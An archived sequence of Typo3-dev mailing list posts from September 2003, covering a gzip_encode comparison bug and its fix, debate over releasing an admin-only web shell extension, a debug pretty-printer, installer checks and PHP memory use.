[Typo3-dev] building a content (article) base supporting dublin core metadata In-Reply-To: References: Message-ID: This is called DAM (Digital Asset Management) and is currently produced by Rene Fritz. It will be finished within a month at latests since we need it for a project. You can ask Rene for details but definitely your idea is exactly what DAM does (but it does a lot more as well). God bless - kasper *********** REPLY SEPARATOR *********** On 03-09-2003 at 09:09 Christian Rasmussen wrote: >Hi list, > >I've been using Typo3 for about three months >now, and I've come to love it! (thank-you >everyone for creating all these nice features. >By time, I hope to give something back :-)) > >We are using Typo3 to build a knowledge >management system at Aalborg University, >Denmark. A system which should be able to >capture knowledge (various kinds) and >communicate it via different medias. > >MY PROBLEM: >=========== >I would like to build a content (article) base >which should contain different file types, mostly >pdf and word-documents, but also powerpoint slides >to some extent. The base should be searchable >and also support the Dublin Core metadata >standardization. > >I've got an idea as to how this could be done; >but I would very much like your comments and >if it perhaps could be done in another and better >way. > >IDEA: >===== >I think this can be done by using two things: >- a db table >- an upload directory > >The database table should contain all the Dublin >Core metadata information (author, subject, >description etc.) and the upload directory should >of course contain the files. > >Maybe the indexed search engine can handle >these searches...I dont know? Maybe not? >And how do I make the files searchable for other >search engines like google...do I have to create >static doorway-pages or is there a smart way of >doing it? > > >I would very much like to hear any suggestions... >Thank-you ! > >/Christian > > >======================================= >Christian Rasmussen >MA. in Humanistic Computer Science >Research Assistant >Center for Industrial Production, >Aalborg University >mail: cr at iprod.auc.dk >======================================= > > >_______________________________________________ >Typo3-dev mailing list >Typo3-dev at lists.netfielders.de >http://lists.netfielders.de/cgi-bin/mailman/listinfo/typo3-dev God bless - kasper - kasper -------------------- o --------------------- >>> In God I trust - others pay cash! <<< Check www.typo3.com From hoang at planb-media.de Wed Sep 3 19:58:16 2003 From: hoang at planb-media.de (Chi Hoang) Date: Wed, 3 Sep 2003 19:58:16 +0200 Subject: [Typo3-dev] module_sys_dmail_html field in TBE References: Message-ID: J?rgen Pietschmann wrote: > Is there anyway to map a database field name? or can anyone tell me > how to use the fieldname_passthrough. Did you edit the "types" => Array ( ... ) as well? Farewell, Chi From simondt at gpuk.net Wed Sep 3 22:44:04 2003 From: simondt at gpuk.net (Simon Child) Date: Wed, 3 Sep 2003 21:44:04 +0100 Subject: [Typo3-dev] Bug in class.gzip_encode Message-ID: class.gzip_encode contains the following section: from line 168: if ($level === true) { $level = $this->get_complevel(); } $this->level = $level; $contents = ob_get_contents(); if ($contents === false) return; (The code on leknor.com is the same.) But is that triple equals sign valid syntax?? (with spaces to emphasise it, it says $level = = = true, and $contents = = = true) If I leave in the triple equals and set compression level to 'true' then there is no compression. If I remove one of the equals and set compression level to 'true' then the compression (tested by http://leknor.com/code/gziped.php ) is good. Is that = = = a typo, or does it have some meaning that I don't understand? -- Simon Child From Andreas.Beutel at kisd.de Wed Sep 3 23:47:53 2003 From: Andreas.Beutel at kisd.de (Andreas Beutel) Date: Wed, 03 Sep 2003 23:47:53 +0200 Subject: [Typo3-dev] New Extension: to be released or not Message-ID: Hi Developers, I'm somehow unsure with the release of a Typo3 extension we've developed, so I would like to ask you on your opinion. The extension is a backend module for admin users only (and ist operable on UNIX only). It provides a web-based shell for Typo. Shell access is for example needed when you want to upload tar files and untar them on the server so they are all owned by the user running the web server process, on some systems you can also check logfiles an so on. Of course this reveals security problems on some installations. On the one hand I think it's up to the server admin to keep the machine secure, on the other hand it could be bad for Typo3 to have such a tool as an easy to install module (and maybe some providers will stopp php-shell-exec support). Of yourse one can code that easily in 10 minutes and upload it as a normal PHP Script. What do you think? Should we release it to the public or should keep it "members only"? All the best Andreas From dan at danfrost.co.uk Thu Sep 4 10:54:16 2003 From: dan at danfrost.co.uk (dan frost) Date: Thu, 04 Sep 2003 09:54:16 +0100 Subject: [Typo3-dev] New Extension: to be released or not In-Reply-To: References: Message-ID: The system admin (i.e. the person who installed Typo3) should be able to restrict access - perhaps using TSConfig. A tool like this would be really useful - you even have scripts run via buttons. E.g. "BACK-UP SITE" would "cp -R [site] [back-up place]". I think it's more useful than dangerous - assuming the sys-admin is always careful. dan p.s. perhaps having a special user/user-group in *nix - e.g. T3users, who can only do certain things..? Andreas Beutel wrote: >Hi Developers, > >I'm somehow unsure with the release of a Typo3 extension we've developed, so >I would like to ask you on your opinion. > >The extension is a backend module for admin users only (and ist operable on >UNIX only). It provides a web-based shell for Typo. > >Shell access is for example needed when you want to upload tar files and >untar them on the server so they are all owned by the user running the web >server process, on some systems you can also check logfiles an so on. > >Of course this reveals security problems on some installations. On the one >hand I think it's up to the server admin to keep the machine secure, on the >other hand it could be bad for Typo3 to have such a tool as an easy to >install module (and maybe some providers will stopp php-shell-exec support). >Of yourse one can code that easily in 10 minutes and upload it as a normal >PHP Script. > >What do you think? Should we release it to the public or should keep it >"members only"? > >All the best >Andreas > > >_______________________________________________ >Typo3-dev mailing list >Typo3-dev at lists.netfielders.de >http://lists.netfielders.de/cgi-bin/mailman/listinfo/typo3-dev > > > > From leening at saurus.nl Thu Sep 4 12:01:03 2003 From: leening at saurus.nl (Michiel van Leening) Date: Thu, 04 Sep 2003 12:01:03 +0200 Subject: [Typo3-dev] Bug in class.gzip_encode In-Reply-To: References: Message-ID: Simon, Please refer to http://www.php.net/manual/en/language.operators.comparison.php On Wed, 2003-09-03 at 22:44, Simon Child wrote: > class.gzip_encode contains the following section: > > from line 168: > if ($level === true) { > $level = $this->get_complevel(); > } > $this->level = $level; > > $contents = ob_get_contents(); > if ($contents === false) return; > > (The code on leknor.com is the same.) > > But is that triple equals sign valid syntax?? > > (with spaces to emphasise it, it says $level = = = true, and $contents = = = > true) > > If I leave in the triple equals and set compression level to 'true' then > there is no compression. > > If I remove one of the equals and set compression level to 'true' then the > compression (tested by http://leknor.com/code/gziped.php ) is good. > > Is that = = = a typo, or does it have some meaning that I don't understand? > > -- > Simon Child > > > > > _______________________________________________ > Typo3-dev mailing list > Typo3-dev at lists.netfielders.de > http://lists.netfielders.de/cgi-bin/mailman/listinfo/typo3-dev -- Met vriendelijke groeten, Michiel van Leening --------------------------------------------------------------- Saurus Internet - http://www.saurus.nl/ - info at saurus.nl Vestesingel 8, 9408 CA - Assen, The Netherlands tel: +31 (0)592.461.467 - fax: +31 (0)84.86.88.007 Michiel van Leening - Internet Application Developer leening at saurus.nl - gsm: +31 (0)65.57.12.693 - ICQ#51566230 Registered with the Linux Counter. ID #39463 --------------------------------------------------------------- In Seattle, Washington, it is illegal to carry a concealed weapon that is over six feet in length. From peter.russ at 4dfx.de Thu Sep 4 12:22:16 2003 From: peter.russ at 4dfx.de (4Dfx) Date: Thu, 04 Sep 2003 12:22:16 +0200 Subject: [Typo3-dev] Bug in class.gzip_encode In-Reply-To: References: Message-ID: Michiel van Leening schrieb: > Simon, > > Please refer to > http://www.php.net/manual/en/language.operators.comparison.php > > On Wed, 2003-09-03 at 22:44, Simon Child wrote: > >>class.gzip_encode contains the following section: >> >>from line 168: >> if ($level === true) { >> $level = $this->get_complevel(); >> } >> $this->level = $level; >> >> $contents = ob_get_contents(); >> if ($contents === false) return; >> >>(The code on leknor.com is the same.) >> >>But is that triple equals sign valid syntax?? >>[...] Ref to the manual the codes reads as follow "if the level is equal to 0 and is of type Boolean then set the variable level" I have no idea if it makes sence to compare level or contant with Boolean type. This will only work if a methode would return this type i.e. function xyz() { if(..) return true; else if (...) return false; else return $something; } This comparision will not work for following methode function xyz() { if(..) return 0; else if (...) return -1; else return $something; } Gruss. Peter. www.ebconclub.net From je at hades.org Thu Sep 4 13:13:11 2003 From: je at hades.org (Jens Ellerbrock) Date: Thu, 4 Sep 2003 13:13:11 +0200 (CEST) Subject: [Typo3-dev] New Extension: to be released or not In-Reply-To: References: Message-ID: Hi dan I also think that this tool will be quite useful. Right now i'm using phpshell (http://www.gimpster.com/wiki/PhpShell) for this but having it as a backend module sounds nice. Maybe you can only allow users with admin privilege to use it. - Jens Ellerbrock (jense) ----------------------- This thread is located in the archive at this URL: http://typo3.org/1427+M5d9b52a5659.0.html From ingmars at REMOVETHISweb.de Thu Sep 4 17:23:02 2003 From: ingmars at REMOVETHISweb.de (Ingmar Schlecht) Date: Thu, 04 Sep 2003 17:23:02 +0200 Subject: [Typo3-dev] new debug prettyprinter available ... In-Reply-To: References: Message-ID: Luite van Zelst wrote: > Hi dev-people, > > something I wanted to write for a long time, and finaly did: a custom > debug() function for php. I called it "debugvar()" Luite, I can just say great great great! Thanks A LOT! I'm just using it and and am very fascinated! Kasper, could you include that into t3lib? Would make sense to replace debug() with it. - Ingmar From patrick.gaumond at fsa.ulaval.ca Thu Sep 4 18:06:17 2003 From: patrick.gaumond at fsa.ulaval.ca (Patrick Gaumond) Date: Thu, 4 Sep 2003 12:06:17 -0400 Subject: [Typo3-dev] new debug prettyprinter available ... References: Message-ID: Can you provide a few examples on how to use it ? I've put the whole script in my main T3 index.php then...how to prettyprint the entire $GLOBALS array ? > you can prettyprint the entire $GLOBALS array in typo3 in under 500 ms up to 4 > levels recursively... Thanks in advance. Patrick From ingmars at REMOVETHISweb.de Thu Sep 4 18:36:21 2003 From: ingmars at REMOVETHISweb.de (Ingmar Schlecht) Date: Thu, 04 Sep 2003 18:36:21 +0200 Subject: [Typo3-dev] new debug prettyprinter available ... In-Reply-To: References: Message-ID: Patrick Gaumond wrote: > Can you provide a few examples on how to use it ? > > I've put the whole script in my main T3 index.php then...how to prettyprint the entire $GLOBALS array ? > I've created another little function: function dbg($var, $name = '', $level = 3, $recursive = false) { echo debugvar($var, $name, $level, $recursive); } now I use it like that: dbg($somevar); - Ingmar From kasper at typo3.com Thu Sep 4 19:29:40 2003 From: kasper at typo3.com (=?us-ascii?Q?=22Kasper_Sk=E5rh=F8j=22?=) Date: Thu, 04 Sep 2003 19:29:40 +0200 Subject: [Typo3-dev] new debug prettyprinter available ... In-Reply-To: References: Message-ID: If you have a reasonable suggestion I am in a good mood at the moment. Please submit a ready-to-patch-in function with a little description. Send directly to me. God bless - kasper *********** REPLY SEPARATOR *********** On 04-09-2003 at 18:36 Ingmar Schlecht wrote: >Patrick Gaumond wrote: >> Can you provide a few examples on how to use it ? >> >> I've put the whole script in my main T3 index.php then...how to >prettyprint the entire $GLOBALS array ? >> > >I've created another little function: > >function dbg($var, $name = '', $level = 3, $recursive = false) { > echo debugvar($var, $name, $level, $recursive); >} > >now I use it like that: > >dbg($somevar); > >- Ingmar > >_______________________________________________ >Typo3-dev mailing list >Typo3-dev at lists.netfielders.de >http://lists.netfielders.de/cgi-bin/mailman/listinfo/typo3-dev God bless - kasper - kasper -------------------- o --------------------- >>> In God I trust - others pay cash! <<< Check www.typo3.com From r.fritz at colorcube.de Thu Sep 4 19:58:00 2003 From: r.fritz at colorcube.de (=?iso-8859-1?q?Ren=E9=20Fritz?=) Date: Thu, 4 Sep 2003 19:58:00 +0200 Subject: [Typo3-dev] new debug prettyprinter available ... In-Reply-To: References: Message-ID: > If you have a reasonable suggestion I am in a good mood at the moment. > Please submit a ready-to-patch-in function with a little description. Send > directly to me. Kasper remember the changes we've done yesterday. In 3.6.0 there's an interface to implement own debug extensions. One extension which makes output in a seperate window and uses Luite's function will be available next days. For using it with 3.5.0 you have to make patches to the source. Ren? -- COLORCUBE digital media lab www.colorcube.de From ingmars at REMOVETHISweb.de Thu Sep 4 21:14:48 2003 From: ingmars at REMOVETHISweb.de (Ingmar Schlecht) Date: Thu, 04 Sep 2003 21:14:48 +0200 Subject: [Typo3-dev] new debug prettyprinter available ... In-Reply-To: References: Message-ID: Ren? Fritz wrote: >>If you have a reasonable suggestion I am in a good mood at the moment. >>Please submit a ready-to-patch-in function with a little description. Send >>directly to me. > > > Kasper remember the changes we've done yesterday. > > In 3.6.0 there's an interface to implement own debug extensions. > One extension which makes output in a seperate window and uses Luite's > function will be available next days. > For using it with 3.5.0 you have to make patches to the source. so you suggest to keep the current debug() as default and include improved debugging functions as extensions, right? If that's possible, nice! Then I'd also prefer it this way, because not every single minor change has to be done by Kapser then. - Ingmar From kasper at typo3.com Thu Sep 4 22:13:39 2003 From: kasper at typo3.com (=?ISO-8859-1?Q?=22Kasper_Sk=E5rh=F8j=22?=) Date: Thu, 04 Sep 2003 22:13:39 +0200 Subject: [Typo3-dev] new debug prettyprinter available ... In-Reply-To: References: Message-ID: So the patch you sent and I already implemented should support Luites extension? Then fine. God bless - kasper *********** REPLY SEPARATOR *********** On 04-09-2003 at 19:58 Ren? Fritz wrote: >> If you have a reasonable suggestion I am in a good mood at the moment. >> Please submit a ready-to-patch-in function with a little description. >Send >> directly to me. > >Kasper remember the changes we've done yesterday. > >In 3.6.0 there's an interface to implement own debug extensions. >One extension which makes output in a seperate window and uses Luite's >function will be available next days. >For using it with 3.5.0 you have to make patches to the source. > >Ren? > >-- >COLORCUBE >digital media lab > >www.colorcube.de > > >_______________________________________________ >Typo3-dev mailing list >Typo3-dev at lists.netfielders.de >http://lists.netfielders.de/cgi-bin/mailman/listinfo/typo3-dev God bless - kasper - kasper -------------------- o --------------------- >>> In God I trust - others pay cash! <<< Check www.typo3.com From simondt at gpuk.net Thu Sep 4 22:59:22 2003 From: simondt at gpuk.net (Simon Child) Date: Thu, 4 Sep 2003 21:59:22 +0100 Subject: [Typo3-dev] Bug in class.gzip_encode References: Message-ID: "Peter Russ :: 4Dfx" wrote in message news:mailman.1062671042.2524.typo3-dev at lists.netfielders.de... > Michiel van Leening schrieb: > > Simon, > > > > Please refer to > > http://www.php.net/manual/en/language.operators.comparison.php Thanks, I found that afterwards. But still, it doesn't work with triple = > I have no idea if it makes sence to compare level or contant with > Boolean type. And if a Boolean comparison is intended, what should we enter in the configuration box in the typo install tool for [compressionLevel] "Determines output compression. Requires zlib in your php4 install. Range 1-9, where 1 is least compression (approx. 50%) and 9 is greatest compression (approx 33%). 'true' as value will set the compression based on system load" It seems that if I enter the word true it will be processed as a string and not as Boolean? So the comparison will fail. Removing one of the = still seems sensible - what would be the harm? -- Simon Child From fessor at software.dk Fri Sep 5 00:45:31 2003 From: fessor at software.dk (Dennis Petersen) Date: Fri, 5 Sep 2003 00:45:31 +0200 Subject: [Typo3-dev] New Extension: to be released or not References: Message-ID: I agree.. it would be lovely to use, however I agree with Andreas that as a public domain easily accessible extension it will in the media pose as a potential security risk... not a good reputation... But then again.. dan has a good side note.. (p.s. perhaps having a special user/user-group in *nix - e.g. T3Users, who can only do certain things..?) and this would mean that the sysadmin actively would have to configure the *nix box in order to make the extension work on an installation... this would mean more power to the sysadmin which does not make such an extension a reason for a hosting company to not wanting to support Typo3 ;) So if somehow it is possible to go with the idea from dan I would say go for it... cause then it is more useful than harmful... That's my 2 cents... Dennis Petersen (fessorman) "Jens Ellerbrock" wrote in message news:mailman.1062674042.8530.typo3-dev at lists.netfielders.de... Hi dan I also think that this tool will be quite useful. Right now i'm= using phpshell (http://www.gimpster.com/wiki/PhpShell) for this= but having it as a backend module sounds nice. Maybe you can only allow users with admin privilege to use it. - Jens Ellerbrock (jense) ----------------------- This thread is located in the archive at this URL: http://typo3.org/1427+M5d9b52a5659.0.html From mundaun at gmx.ch Fri Sep 5 01:13:25 2003 From: mundaun at gmx.ch (Michael Stucki) Date: Fri, 05 Sep 2003 01:13:25 +0200 Subject: [Typo3-dev] New Extension: to be released or not References: Message-ID: Dennis Petersen wrote: > I agree.. it would be lovely to use, however I agree with Andreas that as > a public domain easily accessible extension it will in the media pose as a > potential security risk... not a good reputation... ACK! They don't care that I could also install such a tool manually. I think they would just say: "It's a feature of TYPO3, so TYPO3 is evil!" > But then again.. dan has a good side note.. (p.s. perhaps having a special > user/user-group in *nix - e.g. T3Users, who can only do certain things..?) > and this would mean that the sysadmin actively would have to configure the > *nix box in order to make the extension work on an installation... I think this is a bad idea. How do you want Apache (=www-data) to run a shell as a different user? You would need to setup something like a chrooted environment, which makes things more and more complicated. If you ask me - Just keep it simple and easy! In my opinion, you should keep this extension hidden or separate it very clear from the official extension repository. Another idea would be to simply provide a t3x file on your website. Cheers - michael -- Want support? Please read the list rules first: http://typo3.org/1438.0.html From peter.russ at 4dfx.de Fri Sep 5 12:12:09 2003 From: peter.russ at 4dfx.de (4Dfx) Date: Fri, 05 Sep 2003 12:12:09 +0200 Subject: [Typo3-dev] Bug in class.gzip_encode In-Reply-To: References: Message-ID: Simon Child schrieb: [...] > It seems that if I enter the word true it will be processed as a string and > not as Boolean? > > So the comparison will fail. > > Removing one of the = still seems sensible - what would be the harm? > > -- > Simon Child [...] it's Boolean and true
"; else if ($var===false) echo "Value of var is $var -> it's Boolean and false
"; else if ($var==true) echo "Value of var is $var -> it seems to be true
"; else if ($var==false) echo "Value of var is $var -> it seems to be false
"; else echo "I've no idea what $var is
"; } echo "Test true: "; test(true); echo "Test false: "; test(false); echo "Test 0: "; test(0); echo "Test 1: "; test(1); echo "Test 3: "; test(3); echo "Test \"true\": "; test("true"); ?> Test it on your system. And see what happens. Regs. Peter. From dan at danfrost.co.uk Fri Sep 5 13:24:52 2003 From: dan at danfrost.co.uk (dan frost) Date: Fri, 05 Sep 2003 12:24:52 +0100 Subject: [Typo3-dev] Qmail Message-ID: Has anyone used qmail instead of sendmail for Typo3? I have to make Typo3 use qmail - any advise/help gratefully received. dan From peter.russ at 4dfx.de Fri Sep 5 13:21:32 2003 From: peter.russ at 4dfx.de (4Dfx) Date: Fri, 05 Sep 2003 13:21:32 +0200 Subject: [Typo3-dev] Mount Page: problem with Shotcuts and elements Message-ID: Situation: Original page: http://www.ebconclub.net/10.0.html Mounted: http://www.ebconclub.net/218.0.html Problem: Everything works fine except with pages that are of type shortcut (Auto/Car) or have elements. Any idea in which class we can fix the bug, i.e. where to find the "content forwarding" for shortcut. Thanks. Peter Russ. www.ebconclub.net From andreas at php4win.de Fri Sep 5 13:38:00 2003 From: andreas at php4win.de (Andreas Otto) Date: Fri, 5 Sep 2003 13:38:00 +0200 Subject: [Typo3-dev] Qmail In-Reply-To: References: Message-ID: Hi Dan, On Friday 05 September 2003 13:24, dan frost wrote: > I have to make Typo3 use qmail - any advise/help gratefully received. Read section 4.2.2 on that should answer your questions. Cheers, Andreas -- Andreas Otto Using PHP on Windows? www.php4win.de From dan at danfrost.co.uk Fri Sep 5 13:58:16 2003 From: dan at danfrost.co.uk (dan frost) Date: Fri, 05 Sep 2003 12:58:16 +0100 Subject: [Typo3-dev] Qmail In-Reply-To: References: Message-ID: Very clear. Thanks. dan Andreas Otto wrote: > Hi Dan, > > On Friday 05 September 2003 13:24, dan frost wrote: > >>I have to make Typo3 use qmail - any advise/help gratefully received. > > > Read section 4.2.2 on > that should answer your questions. > > > Cheers, > Andreas > From Martin.T.Kutschker at blackbox.net Fri Sep 5 16:13:33 2003 From: Martin.T.Kutschker at blackbox.net (Martin Kutschker) Date: Fri, 05 Sep 2003 16:13:33 +0200 (METDST) Subject: [Typo3-dev] memory limit check on install Message-ID: Hi! It seems many folks have problems with the memory limit (especially with the extension manager). So I suggest to change the memory check code in t3lib/class.t3lib_install.php to the following: if ($memory_limit_value<8*1024*1024) { $this->message($ext, "Memory Limit below default 8 MB"," memory_limit=".get_cfg_var("memory_limit")." Will likely impose problems if too low. ",2); // warning } elseif ($memory_limit_value<16*1024*1024) { $this->message($ext, "Memory Limit below recommended 16 MB"," memory_limit=".get_cfg_var("memory_limit")." May impose problems if too low. ",1); // note } else $this->message($ext, "Memory Limit","memory_limit=".get_cfg_var("memory_limit")."",-1); Regards, Masi PS: Would a check against the php version make sense? I don't know if there is a minimum version for Typo3. From r.fritz at colorcube.de Fri Sep 5 16:23:47 2003 From: r.fritz at colorcube.de (=?iso-8859-1?q?Ren=E9=20Fritz?=) Date: Fri, 5 Sep 2003 16:23:47 +0200 Subject: [Typo3-dev] memory limit check on install In-Reply-To: References: Message-ID: > PS: Would a check against the php version make sense? I don't know if there > is a minimum version for Typo3. 4.0.6 But I guess that haven't been tested for some time :-) -- COLORCUBE digital media lab www.colorcube.de From Martin.T.Kutschker at blackbox.net Fri Sep 5 16:31:15 2003 From: Martin.T.Kutschker at blackbox.net (Martin Kutschker) Date: Fri, 05 Sep 2003 16:31:15 +0200 (METDST) Subject: [Typo3-dev] mysql check for the dumb - avoid blank screen Message-ID: Hi! Yesterday I set up a new machine and forgot to install mysql for php. Typo3 just gave me a blank screen. How about addings something like this if (!function_exist("mysql_pconnect")) die ("Typo3 runs only with MySQL support"); ...here // ******************************* // Checking environment // ******************************* ... or only there // ******************************************** // Check if the install script should be run: // ******************************************** in init.php. Or some other convenient place in the install process (regular or 1-2-3). A blank screen is not very helpful. Regards, Masi From r.fritz at colorcube.de Fri Sep 5 16:32:33 2003 From: r.fritz at colorcube.de (=?iso-8859-15?q?Ren=E9=20Fritz?=) Date: Fri, 5 Sep 2003 16:32:33 +0200 Subject: [Typo3-dev] decrease memory usage Message-ID: Hi This is more a general PHP question. Are there special things a PHP programmer can do to decrease memory usage of scripts? Is PHP doing a garbage collection? Does PHP free variables when they are obviously not in use anymore? Any tricks? Ren? -- COLORCUBE digital media lab www.colorcube.de From dan at danfrost.co.uk Fri Sep 5 17:08:40 2003 From: dan at danfrost.co.uk (dan frost) Date: Fri, 05 Sep 2003 16:08:40 +0100 Subject: [Typo3-dev] decrease memory usage In-Reply-To: References: Message-ID: In PHP5 you'll be able to distroy objects properly - allowing the TSFE etc to be distroyed when you've finished with it. dan Ren? Fritz wrote: > Hi > > This is more a general PHP question. > > Are there special things a PHP programmer can do to decrease memory usage of > scripts? > > Is PHP doing a garbage collection? Does PHP free variables when they are > obviously not in use anymore? > > Any tricks? > > Ren? From olivier.dobberkau at dkd.de Fri Sep 5 21:12:55 2003 From: olivier.dobberkau at dkd.de (Olivier Dobberkau) Date: Fri, 5 Sep 2003 21:12:55 +0200 Subject: [Typo3-dev] memory limit check on install References: Message-ID: Ren? Fritz wrote: >> PS: Would a check against the php version make sense? I don't know >> if there is a minimum version for Typo3. > > 4.0.6 > > But I guess that haven't been tested for some time :-) I have it running on php 4.0.6 Olivier From simondt at gpuk.net Sat Sep 6 00:53:57 2003 From: simondt at gpuk.net (Simon Child) Date: Fri, 5 Sep 2003 23:53:57 +0100 Subject: [Typo3-dev] Bug in class.gzip_encode References: Message-ID: "Peter Russ :: 4Dfx" wrote in message news:mailman.1062756856.11732.typo3-dev at lists.netfielders.de... > Test it on your system. And see what happens. Test true: Value of var is 1 -> it's Boolean and true Test false: Value of var is -> it's Boolean and false Test 0: Value of var is 0 -> it seems to be false Test 1: Value of var is 1 -> it seems to be true Test 3: Value of var is 3 -> it seems to be true Test "true": Value of var is true -> it seems to be true Hmm. And yet, on my system, if I set FE compressionLevel to various settings leknor.com reports sizes as below: With double = FE compressionLevel Content-Length true 2347 0 7703 (not-gzipped) 7 2346 9 2346 With triple = FE compressionLevel Content-Length true 7729 0 7703 (not-gzipped) 7 2346 [server load is low, load average: 0.04, 0.11, 0.05, the site is not yet published and so there is only me using the server] It appears to me that with triple = a setting of 'true' is not giving the desired result, but with double = it works well... -- Simon Child From peter.russ at 4dfx.de Sat Sep 6 03:13:53 2003 From: peter.russ at 4dfx.de (4Dfx) Date: Sat, 06 Sep 2003 03:13:53 +0200 Subject: [Typo3-dev] Bug in class.gzip_encode In-Reply-To: References: Message-ID: Simon Child schrieb: > "Peter Russ :: 4Dfx" wrote in message > news:mailman.1062756856.11732.typo3-dev at lists.netfielders.de... > [...] > > With double = > FE compressionLevel Content-Length > true 2347 > 0 7703 (not-gzipped) > 7 2346 > 9 2346 > > > With triple = > FE compressionLevel Content-Length > true 7729 > 0 7703 (not-gzipped) > 7 2346 > > [server load is low, load average: 0.04, 0.11, 0.05, the site is not yet > published and so there is only me using the server] > > It appears to me that with triple = a setting of 'true' is not giving the > desired result, but with double = it works well... [...] Dived into the code and found the problem: if the level var is set in $TYPO3_CONF_VARS the type is String (!) So to get the compression working you have to fix index.php (line 500) in root. i.e. // ************* // Compressions // ************* if ($TYPO3_CONF_VARS["FE"]["compressionLevel"]) { new gzip_encode($TYPO3_CONF_VARS["FE"]["compressionLevel"], false, $GLOBALS["TYPO3_CONF_VARS"]["FE"]["compressionDebugInfo"]); } and debug: // ************* // Compressions // ************* if ($TYPO3_CONF_VARS["FE"]["compressionLevel"]) { /* add this line to convert to Boolean if true debug Peter Russ 06.09.2003 beginn */ $complevel=($TYPO3_CONF_VARS["FE"]["compressionLevel"]=='true')?true:$TYPO3_CONF_VARS["FE"]["compressionLevel"]; /* debug end*/ new gzip_encode($complevel, false, $GLOBALS["TYPO3_CONF_VARS"]["FE"]["compressionDebugInfo"]); } Gruss. Peter Russ. www.ebconclub.net From peter.russ at 4dfx.de Sat Sep 6 03:37:52 2003 From: peter.russ at 4dfx.de (4Dfx) Date: Sat, 06 Sep 2003 03:37:52 +0200 Subject: [Typo3-dev] Bug in class.gzip_encode In-Reply-To: References: Message-ID: Peter Russ :: 4Dfx schrieb: [...] > > Dived into the code and found the problem: > if the level var is set in $TYPO3_CONF_VARS the type is String (!) > So to get the compression working you have to fix index.php (line 500) > in root. > > i.e. > // ************* > // Compressions > // ************* > if ($TYPO3_CONF_VARS["FE"]["compressionLevel"]) { > new gzip_encode($TYPO3_CONF_VARS["FE"]["compressionLevel"], false, > $GLOBALS["TYPO3_CONF_VARS"]["FE"]["compressionDebugInfo"]); > } > > and debug: > // ************* > // Compressions > // ************* > if ($TYPO3_CONF_VARS["FE"]["compressionLevel"]) { > /* add this line to convert to Boolean if true > debug Peter Russ 06.09.2003 beginn */ > $complevel=($TYPO3_CONF_VARS["FE"]["compressionLevel"]=='true')?true:$TYPO3_CONF_VARS["FE"]["compressionLevel"]; > > /* debug end*/ > new gzip_encode($complevel, false, > $GLOBALS["TYPO3_CONF_VARS"]["FE"]["compressionDebugInfo"]); > } > [...] As [BE] has also the option to work with compression in several methods it might be a better a idea to fix the bug within the class.gzip_encode.php. Pls find attached. Regs. Peter. -------------- next part -------------- A non-text attachment was scrubbed... Name: class.gzip_encode.php Type: application/download Size: 11667 bytes Desc: not available URL: From Martin.T.Kutschker at blackbox.net Sat Sep 6 10:30:42 2003 From: Martin.T.Kutschker at blackbox.net (Martin Kutschker) Date: Sat, 06 Sep 2003 10:30:42 +0200 (METDST) Subject: [Typo3-dev] decrease memory usage Message-ID: From: Ren? Fritz Date: Fri, 5 Sep 2003 16:32:33 +0200 > Are there special things a PHP programmer can do to decrease memory > usage of scripts? Try avoiding copies of objects, use references whenever possible. It might help to use unset() either to destroy objects or to break the "binding" via a reference. But I am not a PHP guru. Coming from C the above ideas just sound natural to me ;-) Masi From kasper at typo3.com Sat Sep 6 13:17:13 2003 From: kasper at typo3.com (=?ISO-8859-1?Q?=22Kasper_Sk=E5rh=F8j=22?=) Date: Sat, 06 Sep 2003 13:17:13 +0200 Subject: [Typo3-dev] decrease memory usage In-Reply-To: References: Message-ID: I read that copies of strings and arrays are just fine and faster than reference. But Objects - that should be faster with a reference. And I'm not the big reference-master I have to say. I would appreciate if someone reviewed AND TESTED the use of object references in TYPO3. Obvious places to start is: - t3lib_div::makeInstance() - should that be returning a reference? - Setting of $this->cObj, $this->pObj etc in various classes. God bless - kasper *********** REPLY SEPARATOR *********** On 06-09-2003 at 10:30 Martin Kutschker wrote: >From: Ren? Fritz >Date: Fri, 5 Sep 2003 16:32:33 +0200 > >> Are there special things a PHP programmer can do to decrease memory >> usage of scripts? > >Try avoiding copies of objects, use references whenever possible. > >It might help to use unset() either to destroy objects or to break the >"binding" via a reference. > >But I am not a PHP guru. Coming from C the above ideas just sound natural >to me ;-) > >Masi > >_______________________________________________ >Typo3-dev mailing list >Typo3-dev at lists.netfielders.de >http://lists.netfielders.de/cgi-bin/mailman/listinfo/typo3-dev God bless - kasper - kasper -------------------- o --------------------- >>> In God I trust - others pay cash! <<< Check www.typo3.com From typo3_db at snowflake.ch Sat Sep 6 17:47:40 2003 From: typo3_db at snowflake.ch (Dominic Brander) Date: Sat, 06 Sep 2003 17:47:40 +0200 Subject: [Typo3-dev] $GLOBALS["TSFE"]->set_no_cache() vs USER_INT Message-ID: hi all I've had many problems with caching/no caching. almost all plugins I used did clear the cache with $GLOBALS["TSFE"]->set_no_cache() - therefore most of my pages where not indexed at all. to call a function I have the possibility to call it with USER or USER_INT. what is the the $GLOBALS["TSFE"]->set_no_cache() used for? As far as I have seen yet I can skip the GLOBALS["TSFE"]->set_no_cache() if I call my functions with the USER_INT. is this true? can someone explain me, when to use $GLOBALS["TSFE"]->set_no_cache() and when USER_INT? many thanks! dominic brander ________________________________________________________________________ dominic brander - snowflake productions gmbh tel. CH +41 1 451 75 71 - fax. CH +41 1 451 63 80 tel. D +49 89 31 56 78 15 - fax. D +49 89 31 56 78 16 mobile +41 76 493 25 88 http://www.snowflake.ch From dan at danfrost.co.uk Sat Sep 6 17:51:47 2003 From: dan at danfrost.co.uk (dan frost) Date: Sat, 06 Sep 2003 16:51:47 +0100 Subject: [Typo3-dev] decrease memory usage In-Reply-To: References: Message-ID: I've heard that references are slower than new copies of objects (including arrays, etc) - but when I tested it the difference is tiny - sometimes zero. If anyone knows better, please tell. dan Kasper Sk?rh?j wrote: > I read that copies of strings and arrays are just fine and faster than reference. But Objects - that should be faster with a reference. And I'm not the big reference-master I have to say. > > I would appreciate if someone reviewed AND TESTED the use of object references in TYPO3. Obvious places to start is: > - t3lib_div::makeInstance() - should that be returning a reference? > - Setting of $this->cObj, $this->pObj etc in various classes. > > > > God bless > > - kasper > > *********** REPLY SEPARATOR *********** > > On 06-09-2003 at 10:30 Martin Kutschker wrote: > > >>From: Ren? Fritz >>Date: Fri, 5 Sep 2003 16:32:33 +0200 >> >> >>>Are there special things a PHP programmer can do to decrease memory >>>usage of scripts? >> >>Try avoiding copies of objects, use references whenever possible. >> >>It might help to use unset() either to destroy objects or to break the >>"binding" via a reference. >> >>But I am not a PHP guru. Coming from C the above ideas just sound natural 